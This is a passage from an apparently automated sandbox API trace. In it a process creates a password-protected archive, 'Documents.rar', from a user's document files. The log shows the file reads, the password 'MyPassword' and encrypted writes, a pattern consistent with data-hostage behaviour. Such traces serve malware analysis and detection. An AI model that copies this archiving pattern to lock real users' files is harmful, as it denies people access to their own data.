lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.554] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.554] FindFirstFileW (in: lpFileName="qdf-_fT\\JqbhJrWJOhGgC.doc", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.554] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.554] CreateFileW (lpFileName="qdf-_fT\\JqbhJrWJOhGgC.doc" (normalized: "c:\\users\\whuoxysd\\documents\\qdf-_ft\\jqbhjrwjohggc.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.555] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.555] GetTickCount () returned 0xa676d7 [0068.555] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.555] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.555] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.555] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.555] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="PQcpfPJA3.pptx") returned 14 [0068.555] SetWindowTextW (hWnd=0x10280, lpString="JqbhJrWJOhGgC.doc") returned 1 [0068.555] GetTickCount () returned 0xa676d7 [0068.555] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.555] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.555] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.556] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.556] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xb3)) [0068.556] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.556] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14390029013) returned 1 [0068.561] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xcc2d, lpOverlapped=0x0) returned 1 [0068.562] ReadFile (in: hFile=0x1b0, lpBuffer=0x36acc6d, nNumberOfBytesToRead=0xf33d3, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36acc6d*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.562] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.562] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.562] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b640a0, Size=0x48) returned 0x39db40 [0068.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.562] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b640a0, Size=0x48) returned 0x39daf0 [0068.562] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.562] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.562] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.562] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65440 | out: hHeap=0x2e0000) returned 1 [0068.562] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b640a0 | out: hHeap=0x2e0000) returned 1 [0068.562] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64070, Size=0x48) returned 0x39db40 [0068.562] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.562] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.562] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.565] GetTickCount () returned 0xa676e7 [0068.565] GetLastError () returned 0x0 [0068.565] SetLastError (dwErrCode=0x0) [0068.565] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.565] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.565] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.565] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.565] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14390527683) returned 1 [0068.565] GetTickCount () returned 0xa676e7 [0068.565] GetTickCount () returned 0xa676e7 [0068.565] GetTickCount () returned 0xa676e7 [0068.565] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.565] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.565] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.566] ResetEvent (hEvent=0x1a4) returned 1 [0068.566] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.568] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.568] ResetEvent (hEvent=0x1a4) returned 1 [0068.568] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.570] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.570] GetTickCount () returned 0xa676e7 [0068.570] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14391017234) returned 1 [0068.570] GetTickCount () returned 0xa676e7 [0068.570] GetTickCount () returned 0xa676e7 [0068.570] GetTickCount () returned 0xa676e7 [0068.570] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.570] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.570] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.570] ResetEvent (hEvent=0x190) returned 1 [0068.570] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.571] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.571] ResetEvent (hEvent=0x190) returned 1 [0068.571] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.572] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.572] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.572] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.572] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2abed6 [0068.572] SetFilePointer (in: hFile=0x198, lDistanceToMove=109, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2abf43 [0068.572] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.572] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.572] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.572] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.572] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.572] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xccc0, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xccc0, lpOverlapped=0x0) returned 1 [0068.573] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.573] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.573] SetFilePointer (in: hFile=0x198, lDistanceToMove=2801366, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2abed6 [0068.573] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2abed6 [0068.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.573] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b640a0, Size=0x48) returned 0x39daf0 [0068.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.573] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b640a0, Size=0x48) returned 0x39db40 [0068.573] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.573] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.573] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.573] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65440 | out: hHeap=0x2e0000) returned 1 [0068.573] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b640a0 | out: hHeap=0x2e0000) returned 1 [0068.573] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b64070, Size=0x48) returned 0x39daf0 [0068.574] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.574] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6d, lpOverlapped=0x0) returned 1 [0068.574] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b64070 [0068.574] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6d) returned 0x3b4c010 [0068.574] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.574] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.574] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2b8c03 [0068.574] CloseHandle (hObject=0x1b0) returned 1 [0068.574] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.574] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.574] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.574] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.574] FindFirstFileW (in: lpFileName="qdf-_fT\\nwePxLPwZrM _B2.ppt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.574] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.574] CreateFileW (lpFileName="qdf-_fT\\nwePxLPwZrM _B2.ppt" (normalized: "c:\\users\\whuoxysd\\documents\\qdf-_ft\\nwepxlpwzrm _b2.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.574] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.574] GetTickCount () returned 0xa676e7 [0068.574] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.574] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.574] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.574] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.574] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="JqbhJrWJOhGgC.doc") returned 17 [0068.574] SetWindowTextW (hWnd=0x10280, lpString="nwePxLPwZrM _B2.ppt") returned 1 [0068.575] GetTickCount () returned 0xa676e7 [0068.575] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.575] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.575] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.575] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.575] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0xc3)) [0068.575] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.575] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14391583399) returned 1 [0068.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x367e, lpOverlapped=0x0) returned 1 [0068.576] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a36be, nNumberOfBytesToRead=0xfc982, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a36be*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.576] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.576] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.576] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65440, Size=0x48) returned 0x39db40 [0068.576] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.576] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.576] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65440, Size=0x48) returned 0x39daf0 [0068.576] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.576] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.576] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.576] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.576] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65470 | out: hHeap=0x2e0000) returned 1 [0068.576] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65440 | out: hHeap=0x2e0000) returned 1 [0068.576] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b640a0, Size=0x48) returned 0x39db40 [0068.577] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.577] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.577] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.578] GetTickCount () returned 0xa676f6 [0068.578] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14391827387) returned 1 [0068.578] GetTickCount () returned 0xa676f6 [0068.578] GetTickCount () returned 0xa676f6 [0068.578] GetTickCount () returned 0xa676f6 [0068.578] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.578] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.578] GetFocus () returned 0x0 [0068.578] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.578] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.578] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.578] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.578] ResetEvent (hEvent=0x1a4) returned 1 [0068.578] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.579] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.579] ResetEvent (hEvent=0x1a4) returned 1 [0068.579] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.580] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.580] GetTickCount () returned 0xa676f6 [0068.580] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14392060716) returned 1 [0068.580] GetTickCount () returned 0xa676f6 [0068.580] GetTickCount () returned 0xa676f6 [0068.580] GetTickCount () returned 0xa676f6 [0068.580] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.580] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.580] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.580] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.580] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.580] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x2b8c03 [0068.581] SetFilePointer (in: hFile=0x198, lDistanceToMove=111, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x2b8c72 [0068.581] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.581] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.581] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.581] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.581] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x3690, lpOverlapped=0x0) returned 1 [0068.581] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.581] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.581] SetFilePointer (in: hFile=0x198, lDistanceToMove=2853891, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2b8c03 [0068.581] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x2b8c03 [0068.581] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.581] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.581] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65440, Size=0x48) returned 0x39daf0 [0068.581] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.581] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.582] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65440, Size=0x48) returned 0x39db40 [0068.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.582] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65440 [0068.582] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65470 [0068.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65470 | out: hHeap=0x2e0000) returned 1 [0068.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65440 | out: hHeap=0x2e0000) returned 1 [0068.582] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b640a0, Size=0x48) returned 0x39daf0 [0068.582] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.582] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6f, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6f, lpOverlapped=0x0) returned 1 [0068.582] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b640a0 [0068.582] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6f) returned 0x3b4c090 [0068.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.582] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.582] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x2bc302 [0068.582] CloseHandle (hObject=0x1b0) returned 1 [0068.582] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.582] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.582] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.582] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.582] FindFirstFileW (in: lpFileName="QVNqG4sHjJKiemivuPP.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.582] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.582] CreateFileW (lpFileName="QVNqG4sHjJKiemivuPP.docx" (normalized: "c:\\users\\whuoxysd\\documents\\qvnqg4shjjkiemivupp.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, 